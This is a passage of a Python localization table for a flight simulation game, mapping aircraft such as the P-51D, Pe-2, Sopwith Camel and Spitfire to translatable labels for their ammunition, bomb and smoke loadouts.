pgettext_lazy('aircraft_payload', 'M2.50 AP [2550], M64 500 lb [1]'), 11: pgettext_lazy('aircraft_payload', 'M2.50 AP [1700], M64 500 lb [1]'), 12: pgettext_lazy('aircraft_payload', 'M2.50 AP [2136], M64 500 lb [2]'), 13: pgettext_lazy('aircraft_payload', 'M2.50 AP [1602], M64 500 lb [2]'), 14: pgettext_lazy('aircraft_payload', 'M2.50 AP [1068], M64 500 lb [2]'), 15: pgettext_lazy('aircraft_payload', 'M2.50 AP [3400], M64 500 lb [2]'), 16: pgettext_lazy('aircraft_payload', 'M2.50 AP [2550], M64 500 lb [2]'), 17: pgettext_lazy('aircraft_payload', 'M2.50 AP [1700], M64 500 lb [2]'), 18: pgettext_lazy('aircraft_payload', 'M2.50 AP [2136], M64 500 lb [3]'), 19: pgettext_lazy('aircraft_payload', 'M2.50 AP [1602], M64 500 lb [3]'), 20: pgettext_lazy('aircraft_payload', 'M2.50 AP [1068], M64 500 lb [3]'), 21: pgettext_lazy('aircraft_payload', 'M2.50 AP [3400], M64 500 lb [3]'), 22: pgettext_lazy('aircraft_payload', 'M2.50 AP [2550], M64 500 lb [3]'), 23: pgettext_lazy('aircraft_payload', 'M2.50 AP [1700], M64 500 lb [3]'), 24: pgettext_lazy('aircraft_payload', 'M2.50 AP [2136], M65 1000 lb [2]'), 25: pgettext_lazy('aircraft_payload', 'M2.50 AP [1602], M65 1000 lb [2]'), 26: pgettext_lazy('aircraft_payload', 'M2.50 AP [1068], M65 1000 lb [2]'), 27: pgettext_lazy('aircraft_payload', 'M2.50 AP [3400], M65 1000 lb [2]'), 28: pgettext_lazy('aircraft_payload', 'M2.50 AP [2550], M65 1000 lb [2]'), 29: pgettext_lazy('aircraft_payload', 'M2.50 AP [1700], M65 1000 lb [2]'), 30: pgettext_lazy('aircraft_payload', 'M2.50 AP [2136], M65 1000 lb [2], M64 500 lb [1]'), 31: pgettext_lazy('aircraft_payload', 'M2.50 AP [1602], M65 1000 lb [2], M64 500 lb [1]'), 32: pgettext_lazy('aircraft_payload', 'M2.50 AP [1068], M65 1000 lb [2], M64 500 lb [1]'), 33: pgettext_lazy('aircraft_payload', 'M2.50 AP [3400], M65 1000 lb [2], M64 500 lb [1]'), 34: pgettext_lazy('aircraft_payload', 'M2.50 AP [2550], M65 1000 lb [2], M64 500 lb [1]'), 35: pgettext_lazy('aircraft_payload', 'M2.50 AP [1700], M65 1000 lb [2], M64 500 lb [1]'), 36: pgettext_lazy('aircraft_payload', 'M2.50 AP [2136], M8 4.5 in [6]'), 37: pgettext_lazy('aircraft_payload', 'M2.50 AP [1602], M8 4.5 in [6]'), 38: pgettext_lazy('aircraft_payload', 'M2.50 AP [1068], M8 4.5 in [6]'), 39: pgettext_lazy('aircraft_payload', 'M2.50 AP [3400], M8 4.5 in [6]'), 40: pgettext_lazy('aircraft_payload', 'M2.50 AP [2550], M8 4.5 in [6]'), 41: pgettext_lazy('aircraft_payload', 'M2.50 AP [1700], M8 4.5 in [6]'), 42: pgettext_lazy('aircraft_payload', 'M2.50 AP [2136], M64 500 lb [1], M8 4.5 in [6]'), 43: pgettext_lazy('aircraft_payload', 'M2.50 AP [1602], M64 500 lb [1], M8 4.5 in [6]'), 44: pgettext_lazy('aircraft_payload', 'M2.50 AP [1068], M64 500 lb [1], M8 4.5 in [6]'), 45: pgettext_lazy('aircraft_payload', 'M2.50 AP [3400], M64 500 lb [1], M8 4.5 in [6]'), 46: pgettext_lazy('aircraft_payload', 'M2.50 AP [2550], M64 500 lb [1], M8 4.5 in [6]'), 47: pgettext_lazy('aircraft_payload', 'M2.50 AP [1700], M64 500 lb [1], M8 4.5 in [6]'), 48: pgettext_lazy('aircraft_payload', 'M2.50 AP [2136], M64 500 lb [2], M8 4.5 in [6]'), 49: pgettext_lazy('aircraft_payload', 'M2.50 AP [1602], M64 500 lb [2], M8 4.5 in [6]'), 50: pgettext_lazy('aircraft_payload', 'M2.50 AP [1068], M64 500 lb [2], M8 4.5 in [6]'), 51: pgettext_lazy('aircraft_payload', 'M2.50 AP [3400], M64 500 lb [2], M8 4.5 in [6]'), 52: pgettext_lazy('aircraft_payload', 'M2.50 AP [2550], M64 500 lb [2], M8 4.5 in [6]'), 53: pgettext_lazy('aircraft_payload', 'M2.50 AP [1700], M64 500 lb [2], M8 4.5 in [6]'), 54: pgettext_lazy('aircraft_payload', 'M2.50 AP [2136], M64 500 lb [3], M8 4.5 in [6]'), 55: pgettext_lazy('aircraft_payload', 'M2.50 AP [1602], M64 500 lb [3], M8 4.5 in [6]'), 56: pgettext_lazy('aircraft_payload', 'M2.50 AP [1068], M64 500 lb [3], M8 4.5 in [6]'), 57: pgettext_lazy('aircraft_payload', 'M2.50 AP [3400], M64 500 lb [3], M8 4.5 in [6]'), 58: pgettext_lazy('aircraft_payload', 'M2.50 AP [2550], M64 500 lb [3], M8 4.5 in [6]'), 59: pgettext_lazy('aircraft_payload', 'M2.50 AP [1700], M64 500 lb [3], M8 4.5 in [6]'), 60: pgettext_lazy('aircraft_payload', 'M2.50 AP [2136], M65 1000 lb [2], M8 4.5 in [6]'), 61: pgettext_lazy('aircraft_payload', 'M2.50 AP [1602], M65 1000 lb [2], M8 4.5 in [6]'), 62: pgettext_lazy('aircraft_payload', 'M2.50 AP [1068], M65 1000 lb [2], M8 4.5 in [6]'), 63: pgettext_lazy('aircraft_payload', 'M2.50 AP [3400], M65 1000 lb [2], M8 4.5 in [6]'), 64: pgettext_lazy('aircraft_payload', 'M2.50 AP [2550], M65 1000 lb [2], M8 4.5 in [6]'), 65: pgettext_lazy('aircraft_payload', 'M2.50 AP [1700], M65 1000 lb [2], M8 4.5 in [6]'), 66: pgettext_lazy('aircraft_payload', 'M2.50 AP [2136], M65 1000 lb [2], M64 500 lb [1], M8 4.5 in [6]'), 67: pgettext_lazy('aircraft_payload', 'M2.50 AP [1602], M65 1000 lb [2], M64 500 lb [1], M8 4.5 in [6]'), 68: pgettext_lazy('aircraft_payload', 'M2.50 AP [1068], M65 1000 lb [2], M64 500 lb [1], M8 4.5 in [6]'), 69: pgettext_lazy('aircraft_payload', 'M2.50 AP [3400], M65 1000 lb [2], M64 500 lb [1], M8 4.5 in [6]'), 70: pgettext_lazy('aircraft_payload', 'M2.50 AP [2550], M65 1000 lb [2], M64 500 lb [1], M8 4.5 in [6]'), 71: pgettext_lazy('aircraft_payload', 'M2.50 AP [1700], M65 1000 lb [2], M64 500 lb [1], M8 4.5 in [6]'), 72: pgettext_lazy('aircraft_payload', 'M2.50 AP [2136]'), 73: pgettext_lazy('aircraft_payload', 'M2.50 AP [1602]'), 74: pgettext_lazy('aircraft_payload', 'M2.50 AP [1068]'), 75: pgettext_lazy('aircraft_payload', 'M2.50 AP [3400]'), 76: pgettext_lazy('aircraft_payload', 'M2.50 AP [2550]'), 77: pgettext_lazy('aircraft_payload', 'M2.50 AP [1700]'), 78: pgettext_lazy('aircraft_payload', 'Empty'), 79: pgettext_lazy('aircraft_payload', 'Empty'), 80: pgettext_lazy('aircraft_payload', 'White Smoke [1]'), 81: pgettext_lazy('aircraft_payload', 'White Smoke [2]'), 82: pgettext_lazy('aircraft_payload', 'Blue Smoke [1]'), 83: pgettext_lazy('aircraft_payload', 'Blue Smoke [2]'), 84: pgettext_lazy('aircraft_payload', 'Red Smoke [1]'), 85: pgettext_lazy('aircraft_payload', 'Red Smoke [2]'), 86: pgettext_lazy('aircraft_payload', 'Green Smoke [1]'), 87: pgettext_lazy('aircraft_payload', 'Green Smoke [2]'), 88: pgettext_lazy('aircraft_payload', 'Yellow Smoke [1]'), 89: pgettext_lazy('aircraft_payload', 'Yellow Smoke [2]'), 90: pgettext_lazy('aircraft_payload', 'Black Smoke [1]'), 91: pgettext_lazy('aircraft_payload', 'Black Smoke [2]'), }, 'p-51d-15': { 0: pgettext_lazy('aircraft_payload', 'M2.50 AP [1880]'), 1: pgettext_lazy('aircraft_payload', 'M2.50 AP [1800]'), 2: pgettext_lazy('aircraft_payload', 'M2.50 AP [2060]'), 3: pgettext_lazy('aircraft_payload', 'M2.50 AP [1980]'), 4: pgettext_lazy('aircraft_payload', 'M2.50 AP [1880], M64 500 lb [2]'), 5: pgettext_lazy('aircraft_payload', 'M2.50 AP [1800], M64 500 lb [2]'), 6: pgettext_lazy('aircraft_payload', 'M2.50 AP [2060], M64 500 lb [2]'), 7: pgettext_lazy('aircraft_payload', 'M2.50 AP [1980], M64 500 lb [2]'), 8: pgettext_lazy('aircraft_payload', 'M2.50 AP [1880], M65 1000 lb [2]'), 9: pgettext_lazy('aircraft_payload', 'M2.50 AP [1800], M65 1000 lb [2]'), 10: pgettext_lazy('aircraft_payload', 'M2.50 AP [2060], M65 1000 lb [2]'), 11: pgettext_lazy('aircraft_payload', 'M2.50 AP [1980], M65 1000 lb [2]'), 12: pgettext_lazy('aircraft_payload', 'M2.50 AP [1880], M8 4.5 in [6]'), 13: pgettext_lazy('aircraft_payload', 'M2.50 AP [1800], M8 4.5 in [6]'), 14: pgettext_lazy('aircraft_payload', 'M2.50 AP [2060], M8 4.5 in [6]'), 15: pgettext_lazy('aircraft_payload', 'M2.50 AP [1980], M8 4.5 in [6]'), 16: pgettext_lazy('aircraft_payload', 'M2.50 AP [1880], M64 500 lb [2], M8 4.5 in [6]'), 17: pgettext_lazy('aircraft_payload', 'M2.50 AP [1800], M64 500 lb [2], M8 4.5 in [6]'), 18: pgettext_lazy('aircraft_payload', 'M2.50 AP [2060], M64 500 lb [2], M8 4.5 in [6]'), 19: pgettext_lazy('aircraft_payload', 'M2.50 AP [1980], M64 500 lb [2], M8 4.5 in [6]'), 20: pgettext_lazy('aircraft_payload', 'M2.50 AP [1880]'), 21: pgettext_lazy('aircraft_payload', 'M2.50 AP [1800]'), 22: pgettext_lazy('aircraft_payload', 'M2.50 AP [2060]'), 23: pgettext_lazy('aircraft_payload', 'M2.50 AP [1980]'), 24: pgettext_lazy('aircraft_payload', 'M2.50 AP [1880]'), 25: pgettext_lazy('aircraft_payload', 'M2.50 AP [1800]'), 26: pgettext_lazy('aircraft_payload', 'M2.50 AP [2060]'), 27: pgettext_lazy('aircraft_payload', 'M2.50 AP [1980]'), 28: pgettext_lazy('aircraft_payload', 'Empty'), 29: pgettext_lazy('aircraft_payload', 'Empty'), 30: pgettext_lazy('aircraft_payload', 'White Smoke [1]'), 31: pgettext_lazy('aircraft_payload', 'White Smoke [2]'), 32: pgettext_lazy('aircraft_payload', 'Blue Smoke [1]'), 33: pgettext_lazy('aircraft_payload', 'Blue Smoke [2]'), 34: pgettext_lazy('aircraft_payload', 'Red Smoke [1]'), 35: pgettext_lazy('aircraft_payload', 'Red Smoke [2]'), 36: pgettext_lazy('aircraft_payload', 'Green Smoke [1]'), 37: pgettext_lazy('aircraft_payload', 'Green Smoke [2]'), 38: pgettext_lazy('aircraft_payload', 'Yellow Smoke [1]'), 39: pgettext_lazy('aircraft_payload', 'Yellow Smoke [2]'), 40: pgettext_lazy('aircraft_payload', 'Black Smoke [1]'), 41: pgettext_lazy('aircraft_payload', 'Black Smoke [2]'), }, 'pe-2 ser.35': { 0: pgettext_lazy('aircraft_payload', 'SHKAS AP [450], UB AP/HE [150]'), 1: pgettext_lazy('aircraft_payload', 'SHKAS AP [450], UB AP/HE [150], FAB-100M [4]'), 2: pgettext_lazy('aircraft_payload', 'SHKAS AP [450], UB AP/HE [150], FAB-100M [6]'), 3: pgettext_lazy('aircraft_payload', 'SHKAS AP [450], UB AP/HE [150], FAB-250sv [2]'), 4: pgettext_lazy('aircraft_payload', 'SHKAS AP [450], UB AP/HE [150], FAB-100M [10]'), 5: pgettext_lazy('aircraft_payload', 'SHKAS AP [450], UB AP/HE [150], FAB-250sv [4]'), 6: pgettext_lazy('aircraft_payload', 'SHKAS AP [450], UB AP/HE [150], FAB-500M [2]'), 7: pgettext_lazy('aircraft_payload', 'SHKAS AP [450], UB AP/HE [150], ROS-132 [10]'), 8: pgettext_lazy('aircraft_payload', 'SHKAS AP [450], UB AP/HE [150], FAB-100M [4], ROS-132 [10]'), 9: pgettext_lazy('aircraft_payload', 'SHKAS AP [450], UB AP/HE [150], FAB-100M [6], ROS-132 [10]'), 10: pgettext_lazy('aircraft_payload', 'SHKAS AP [450], UB AP/HE [150], FAB-250sv [2], ROS-132 [10]'), 11: pgettext_lazy('aircraft_payload', 'Empty'), 12: pgettext_lazy('aircraft_payload', 'White Smoke [1]'), 13: pgettext_lazy('aircraft_payload', 'White Smoke [2]'), 14: pgettext_lazy('aircraft_payload', 'Blue Smoke [1]'), 15: pgettext_lazy('aircraft_payload', 'Blue Smoke [2]'), 16: pgettext_lazy('aircraft_payload', 'Red Smoke [1]'), 17: pgettext_lazy('aircraft_payload', 'Red Smoke [2]'), 18: pgettext_lazy('aircraft_payload', 'Green Smoke [1]'), 19: pgettext_lazy('aircraft_payload', 'Green Smoke [2]'), 20: pgettext_lazy('aircraft_payload', 'Yellow Smoke [1]'), 21: pgettext_lazy('aircraft_payload', 'Yellow Smoke [2]'), 22: pgettext_lazy('aircraft_payload', 'Black Smoke [1]'), 23: pgettext_lazy('aircraft_payload', 'Black Smoke [2]'), }, 'pe-2 ser.87': { 0: pgettext_lazy('aircraft_payload', 'SHKAS AP [450], UB AP/HE [150]'), 1: pgettext_lazy('aircraft_payload', 'SHKAS AP [450], UB AP/HE [150], FAB-100M [4]'), 2: pgettext_lazy('aircraft_payload', 'SHKAS AP [450], UB AP/HE [150], FAB-100M [6]'), 3: pgettext_lazy('aircraft_payload', 'SHKAS AP [450], UB AP/HE [150], FAB-250sv [2]'), 4: pgettext_lazy('aircraft_payload', 'SHKAS AP [450], UB AP/HE [150], FAB-100M [10]'), 5: pgettext_lazy('aircraft_payload', 'SHKAS AP [450], UB AP/HE [150], FAB-250sv [4]'), 6: pgettext_lazy('aircraft_payload', 'SHKAS AP [450], UB AP/HE [150], FAB-500M [2]'), 7: pgettext_lazy('aircraft_payload', 'SHKAS AP [450], UB AP/HE [150], ROS-132 [10]'), 8: pgettext_lazy('aircraft_payload', 'SHKAS AP [450], UB AP/HE [150], FAB-100M [4], ROS-132 [10]'), 9: pgettext_lazy('aircraft_payload', 'SHKAS AP [450], UB AP/HE [150], FAB-100M [6], ROS-132 [10]'), 10: pgettext_lazy('aircraft_payload', 'SHKAS AP [450], UB AP/HE [150], FAB-250sv [2], ROS-132 [10]'), 11: pgettext_lazy('aircraft_payload', 'Empty'), 12: pgettext_lazy('aircraft_payload', 'White Smoke [1]'), 13: pgettext_lazy('aircraft_payload', 'White Smoke [2]'), 14: pgettext_lazy('aircraft_payload', 'Blue Smoke [1]'), 15: pgettext_lazy('aircraft_payload', 'Blue Smoke [2]'), 16: pgettext_lazy('aircraft_payload', 'Red Smoke [1]'), 17: pgettext_lazy('aircraft_payload', 'Red Smoke [2]'), 18: pgettext_lazy('aircraft_payload', 'Green Smoke [1]'), 19: pgettext_lazy('aircraft_payload', 'Green Smoke [2]'), 20: pgettext_lazy('aircraft_payload', 'Yellow Smoke [1]'), 21: pgettext_lazy('aircraft_payload', 'Yellow Smoke [2]'), 22: pgettext_lazy('aircraft_payload', 'Black Smoke [1]'), 23: pgettext_lazy('aircraft_payload', 'Black Smoke [2]'), }, 'pfalz d.iiia': { 0: pgettext_lazy('aircraft_payload', 'LMG 08/15 AP [1000]'), 1: pgettext_lazy('aircraft_payload', 'LMG 08/15 AP [500]'), 2: pgettext_lazy('aircraft_payload', 'Empty'), 3: pgettext_lazy('aircraft_payload', 'White Smoke [1]'), 4: pgettext_lazy('aircraft_payload', 'White Smoke [2]'), 5: pgettext_lazy('aircraft_payload', 'Blue Smoke [1]'), 6: pgettext_lazy('aircraft_payload', 'Blue Smoke [2]'), 7: pgettext_lazy('aircraft_payload', 'Red Smoke [1]'), 8: pgettext_lazy('aircraft_payload', 'Red Smoke [2]'), 9: pgettext_lazy('aircraft_payload', 'Green Smoke [1]'), 10: pgettext_lazy('aircraft_payload', 'Green Smoke [2]'), 11: pgettext_lazy('aircraft_payload', 'Yellow Smoke [1]'), 12: pgettext_lazy('aircraft_payload', 'Yellow Smoke [2]'), 13: pgettext_lazy('aircraft_payload', 'Black Smoke [1]'), 14: pgettext_lazy('aircraft_payload', 'Black Smoke [2]'), }, 's.e.5a': { 0: pgettext_lazy('aircraft_payload', 'Vickers Mk.I AP [400], Lewis gun AP [388]'), 1: pgettext_lazy('aircraft_payload', 'Vickers Mk.I AP [200], Lewis gun AP [194]'), 2: pgettext_lazy('aircraft_payload', 'Vickers Mk.I AP [400], Lewis gun AP [388], 24 lb Cooper [4]'), 3: pgettext_lazy('aircraft_payload', 'Vickers Mk.I AP [400], Lewis gun AP [388], 24 lb Cooper [2]'), 4: pgettext_lazy('aircraft_payload', 'Empty'), 5: pgettext_lazy('aircraft_payload', 'White Smoke [1]'), 6: pgettext_lazy('aircraft_payload', 'White Smoke [2]'), 7: pgettext_lazy('aircraft_payload', 'Blue Smoke [1]'), 8: pgettext_lazy('aircraft_payload', 'Blue Smoke [2]'), 9: pgettext_lazy('aircraft_payload', 'Red Smoke [1]'), 10: pgettext_lazy('aircraft_payload', 'Red Smoke [2]'), 11: pgettext_lazy('aircraft_payload', 'Green Smoke [1]'), 12: pgettext_lazy('aircraft_payload', 'Green Smoke [2]'), 13: pgettext_lazy('aircraft_payload', 'Yellow Smoke [1]'), 14: pgettext_lazy('aircraft_payload', 'Yellow Smoke [2]'), 15: pgettext_lazy('aircraft_payload', 'Black Smoke [1]'), 16: pgettext_lazy('aircraft_payload', 'Black Smoke [2]'), }, 'sopwith camel': { 0: pgettext_lazy('aircraft_payload', 'Vickers Mk.I AP [1000]'), 1: pgettext_lazy('aircraft_payload', 'Vickers Mk.I AP [500]'), 2: pgettext_lazy('aircraft_payload', 'Vickers Mk.I AP [1000], 24 lb Cooper [4]'), 3: pgettext_lazy('aircraft_payload', 'Vickers Mk.I AP [1000], 24 lb Cooper [2]'), 4: pgettext_lazy('aircraft_payload', 'Empty'), 5: pgettext_lazy('aircraft_payload', 'White Smoke [1]'), 6: pgettext_lazy('aircraft_payload', 'White Smoke [2]'), 7: pgettext_lazy('aircraft_payload', 'Blue Smoke [1]'), 8: pgettext_lazy('aircraft_payload', 'Blue Smoke [2]'), 9: pgettext_lazy('aircraft_payload', 'Red Smoke [1]'), 10: pgettext_lazy('aircraft_payload', 'Red Smoke [2]'), 11: pgettext_lazy('aircraft_payload', 'Green Smoke [1]'), 12: pgettext_lazy('aircraft_payload', 'Green Smoke [2]'), 13: pgettext_lazy('aircraft_payload', 'Yellow Smoke [1]'), 14: pgettext_lazy('aircraft_payload', 'Yellow Smoke [2]'), 15: pgettext_lazy('aircraft_payload', 'Black Smoke [1]'), 16: pgettext_lazy('aircraft_payload', 'Black Smoke [2]'), }, 'sopwith dolphin': { 0: pgettext_lazy('aircraft_payload', 'Vickers Mk.I AP [1000]'), 1: pgettext_lazy('aircraft_payload', 'Vickers Mk.I AP [500]'), 2: pgettext_lazy('aircraft_payload', 'Vickers Mk.I AP [1000], 24 lb Cooper [4]'), 3: pgettext_lazy('aircraft_payload', 'Vickers Mk.I AP [1000], 24 lb Cooper [2]'), 4: pgettext_lazy('aircraft_payload', 'Vickers Mk.I AP [1000], Lewis gun AP [388]'), 5: pgettext_lazy('aircraft_payload', 'Vickers Mk.I AP [1000], Lewis gun AP [388], 24 lb Cooper [4]'), 6: pgettext_lazy('aircraft_payload', 'Vickers Mk.I AP [1000], Lewis gun AP [388], 24 lb Cooper [2]'), 7: pgettext_lazy('aircraft_payload', 'Vickers Mk.I AP [1000], Lewis gun AP [194]'), 8: pgettext_lazy('aircraft_payload', 'Vickers Mk.I AP [1000], Lewis gun AP [194], 24 lb Cooper [4]'), 9: pgettext_lazy('aircraft_payload', 'Vickers Mk.I AP [1000], Lewis gun AP [194], 24 lb Cooper [2]'), 10: pgettext_lazy('aircraft_payload', 'Vickers Mk.I AP [1000], Lewis gun AP [582]'), 11: pgettext_lazy('aircraft_payload', 'Vickers Mk.I AP [1000], Lewis gun AP [582], 24 lb Cooper [4]'), 12: pgettext_lazy('aircraft_payload', 'Vickers Mk.I AP [1000], Lewis gun AP [582], 24 lb Cooper [2]'), 13: pgettext_lazy('aircraft_payload', 'Empty'), 14: pgettext_lazy('aircraft_payload', 'White Smoke [1]'), 15: pgettext_lazy('aircraft_payload', 'White Smoke [2]'), 16: pgettext_lazy('aircraft_payload', 'Blue Smoke [1]'), 17: pgettext_lazy('aircraft_payload', 'Blue Smoke [2]'), 18: pgettext_lazy('aircraft_payload', 'Red Smoke [1]'), 19: pgettext_lazy('aircraft_payload', 'Red Smoke [2]'), 20: pgettext_lazy('aircraft_payload', 'Green Smoke [1]'), 21: pgettext_lazy('aircraft_payload', 'Green Smoke [2]'), 22: pgettext_lazy('aircraft_payload', 'Yellow Smoke [1]'), 23: pgettext_lazy('aircraft_payload', 'Yellow Smoke [2]'), 24: pgettext_lazy('aircraft_payload', 'Black Smoke [1]'), 25: pgettext_lazy('aircraft_payload', 'Black Smoke [2]'), }, 'spad 13.c1': { 0: pgettext_lazy('aircraft_payload', 'Vickers Mk.I AP [800]'), 1: pgettext_lazy('aircraft_payload', 'Vickers Mk.I AP [400]'), 2: pgettext_lazy('aircraft_payload', 'Balloon Gun AP [400]'), 3: pgettext_lazy('aircraft_payload', 'Vickers Mk.I AP [800], 24 lb Cooper [2]'), 4: pgettext_lazy('aircraft_payload', 'Vickers Mk.I AP [800], 24 lb Cooper [1]'), 5: pgettext_lazy('aircraft_payload', 'Balloon Gun AP [400], 24 lb Cooper [2]'), 6: pgettext_lazy('aircraft_payload', 'Balloon Gun AP [400], 24 lb Cooper [1]'), 7: pgettext_lazy('aircraft_payload', 'Empty'), 8: pgettext_lazy('aircraft_payload', 'White Smoke [1]'), 9: pgettext_lazy('aircraft_payload', 'White Smoke [2]'), 10: pgettext_lazy('aircraft_payload', 'Blue Smoke [1]'), 11: pgettext_lazy('aircraft_payload', 'Blue Smoke [2]'), 12: pgettext_lazy('aircraft_payload', 'Red Smoke [1]'), 13: pgettext_lazy('aircraft_payload', 'Red Smoke [2]'), 14: pgettext_lazy('aircraft_payload', 'Green Smoke [1]'), 15: pgettext_lazy('aircraft_payload', 'Green Smoke [2]'), 16: pgettext_lazy('aircraft_payload', 'Yellow Smoke [1]'), 17: pgettext_lazy('aircraft_payload', 'Yellow Smoke [2]'), 18: pgettext_lazy('aircraft_payload', 'Black Smoke [1]'), 19: pgettext_lazy('aircraft_payload', 'Black Smoke [2]'), }, 'spitfire mk.ixe': { 0: pgettext_lazy('aircraft_payload', 'Browning .50 AP [500], Hispano Mk.II AP/HE [240]'), 1: pgettext_lazy('aircraft_payload', 'Browning .50 AP [500], Hispano Mk.II AP/HE [240], 500 lb GP [1]'), 2: pgettext_lazy('aircraft_payload', 'Browning .50 AP [500], Hispano Mk.II AP/HE [240], 250 lb GP [2]'), 3: pgettext_lazy('aircraft_payload', 'Browning .50 AP [500], Hispano Mk.II AP/HE [240], 500 lb GP [1], 250 lb GP [2]'), 4: pgettext_lazy('aircraft_payload', 'Browning .50 AP [500], Hispano Mk.II AP/HE [240], RP-3 HE [2]'), 5: pgettext_lazy('aircraft_payload', 'Browning .50 AP [500], Hispano Mk.II AP/HE [240], RP-3 AP [2]'), 6: pgettext_lazy('aircraft_payload', 'Browning .50 AP [500], Hispano Mk.II AP/HE [240], 500 lb GP [1], RP-3 HE [2]'), 7: pgettext_lazy('aircraft_payload', 'Browning .50 AP [500], Hispano Mk.II AP/HE [240], 500 lb GP [1], RP-3 AP [2]'), 8: pgettext_lazy('aircraft_payload', 'Empty'), 9: pgettext_lazy('aircraft_payload', 'White Smoke [1]'), 10: pgettext_lazy('aircraft_payload', 'White Smoke [2]'), 11: pgettext_lazy('aircraft_payload', 'Blue Smoke [1]'), 12: pgettext_lazy('aircraft_payload', 'Blue Smoke [2]'), 13: pgettext_lazy('aircraft_payload', 'Red Smoke [1]'), 14: pgettext_lazy('aircraft_payload', 'Red Smoke [2]'), 15: pgettext_lazy('aircraft_payload', 'Green Smoke [1]'), 16: pgettext_lazy('aircraft_payload', 'Green Smoke [2]'), 17: pgettext_lazy('aircraft_payload', 'Yellow Smoke [1]'), 18: pgettext_lazy('aircraft_payload', 'Yellow Smoke [2]'), 19: pgettext_lazy('aircraft_payload', 'Black Smoke [1]'), 20: pgettext_lazy('aircraft_payload', 'Black Smoke [2]'), }, 'spitfire mk.vb': { 0: pgettext_lazy('aircraft_payload', 'Browning .303 AP [1400], Hispano Mk.II AP/HE [120]'), 1: pgettext_lazy('aircraft_payload', 'Empty'), 2: pgettext_lazy('aircraft_payload', 'White Smoke [1]'), 3: pgettext_lazy('aircraft_payload', 'White Smoke [2]'), 4: pgettext_lazy('aircraft_payload', 'Blue Smoke [1]'), 5: pgettext_lazy('aircraft_payload', 'Blue Smoke [2]'), 6: pgettext_lazy('aircraft_payload', 'Red Smoke [1]'), 7: pgettext_lazy('aircraft_payload', 'Red Smoke [2]'), 8: pgettext_lazy('aircraft_payload', 'Green Smoke [1]'), 9: pgettext_lazy('aircraft_payload', 'Green Smoke [2]'), 10: pgettext_lazy('aircraft_payload', 'Yellow Smoke [1]'), 11: pgettext_lazy('aircraft_payload', 'Yellow Smoke [2]'), 12: pgettext_lazy('aircraft_payload', 'Black Smoke [1]'), 13: pgettext_lazy('aircraft_payload', 'Black Smoke [2]'), }, 'tempest mk.v ser.2': { 0: pgettext_lazy('aircraft_payload', 'Hispano Mk.V AP/HE [600]'), 1: pgettext_lazy('aircraft_payload', 'Hispano Mk.V AP/HE [600], 500 lb MC [2]'), 2: pgettext_lazy('aircraft_payload', 'Hispano Mk.V AP/HE [600], 1000 lb MC [2]'), 3: pgettext_lazy('aircraft_payload', 'Empty'), 4: pgettext_lazy('aircraft_payload', 'White Smoke [1]'), 5: pgettext_lazy('aircraft_payload', 'White Smoke [2]'), 6: pgettext_lazy('aircraft_payload', 'Blue Smoke [1]'), 7: pgettext_lazy('aircraft_payload', 'Blue Smoke [2]'), 8: pgettext_lazy('aircraft_payload', 'Red Smoke [1]'), 9: pgettext_lazy('aircraft_payload', 'Red Smoke [2]'), 10: pgettext_lazy('aircraft_payload', 'Green Smoke [1]'), 11: pgettext_lazy('aircraft_payload', 'Green Smoke [2]'), 12: pgettext_lazy('aircraft_payload', 'Yellow Smoke [1]'), 13: pgettext_lazy('aircraft_payload', 'Yellow Smoke [2]'), 14: pgettext_lazy('aircraft_payload', 'Black Smoke [1]'), 15: pgettext_lazy('aircraft_payload', 'Black Smoke [2]'), }, 'u-2vs': { 0: pgettext_lazy('aircraft_payload', 'Empty'), 1: pgettext_lazy('aircraft_payload', 'FAB-50sv [2]'), 2: pgettext_lazy('aircraft_payload', 'FAB-50sv [4]'), 3: pgettext_lazy('aircraft_payload', 'FAB-50sv [6]'), 4: pgettext_lazy('aircraft_payload', 'FAB-100M [2]'), 5: pgettext_lazy('aircraft_payload', 'FAB-50sv [2], FAB-100M [2]'), 6: pgettext_lazy('aircraft_payload', 'SHKAS AP [500]'), 7: pgettext_lazy('aircraft_payload', 'SHKAS AP [500], FAB-50sv [2]'), 8: pgettext_lazy('aircraft_payload', 'SHKAS AP [500], FAB-50sv [4]'), 9: pgettext_lazy('aircraft_payload', 'SHKAS AP [500], FAB-50sv [6]'), 10: pgettext_lazy('aircraft_payload', 'SHKAS AP [500], FAB-100M [2]'), 11: pgettext_lazy('aircraft_payload', 'SHKAS AP [500], FAB-50sv [2], FAB-100M [2]'), 12: pgettext_lazy('aircraft_payload', 'ROS-82 [8]'), 13: pgettext_lazy('aircraft_payload', 'RBS-82 [8]'), 14: pgettext_lazy('aircraft_payload', 'ROS-132 [8]'), 15: pgettext_lazy('aircraft_payload', 'FAB-50sv [2], ROS-82 [8]'), 16: pgettext_lazy('aircraft_payload', 'FAB-100M [2], ROS-82 [8]'), 17: pgettext_lazy('aircraft_payload', 'FAB-50sv [2], RBS-82 [8]'), 18: pgettext_lazy('aircraft_payload', 'FAB-100M [2], RBS-82 [8]'), 19: pgettext_lazy('aircraft_payload', 'FAB-50sv [4], ROS-82 [4]'), 20: pgettext_lazy('aircraft_payload', 'FAB-50sv [4], RBS-82 [4]'), 21: pgettext_lazy('aircraft_payload', 'SHKAS AP [500], ROS-82 [8]'), 22: pgettext_lazy('aircraft_payload', 'SHKAS AP [500], RBS-82 [8]'), 23: pgettext_lazy('aircraft_payload', 'SHKAS AP [500], ROS-132 [8]'), 24: pgettext_lazy('aircraft_payload', 'SHKAS AP [500], FAB-50sv [2], ROS-82 [8]'), 25: pgettext_lazy('aircraft_payload', 'SHKAS AP [500], FAB-100M [2], ROS-82 [8]'), 26: pgettext_lazy('aircraft_payload', 'SHKAS AP [500], FAB-50sv [2], RBS-82 [8]'), 27: pgettext_lazy('aircraft_payload', 'SHKAS AP [500], FAB-100M [2], RBS-82 [8]'), 28: pgettext_lazy('aircraft_payload', 'SHKAS AP [500], FAB-50sv [4], ROS-82 [4]'), 29: pgettext_lazy('aircraft_payload', 'SHKAS AP [500], FAB-50sv [4], RBS-82 [4]'), 30: pgettext_lazy('aircraft_payload', 'White Smoke [1]'), 31: pgettext_lazy('aircraft_payload', 'White Smoke [2]'), 32: pgettext_lazy('aircraft_payload', 'Blue Smoke [1]'), 33: pgettext_lazy('aircraft_payload', 'Blue Smoke [2]'), 34: pgettext_lazy('aircraft_payload', 'Red Smoke [1]'), 35: pgettext_lazy('aircraft_payload', 'Red Smoke [2]'), 36: pgettext_lazy('aircraft_payload', 'Green Smoke [1]'), 37: pgettext_lazy('aircraft_payload', 'Green Smoke [2]'), 38: pgettext_lazy('aircraft_payload', 'Yellow Smoke [1]'), 39: 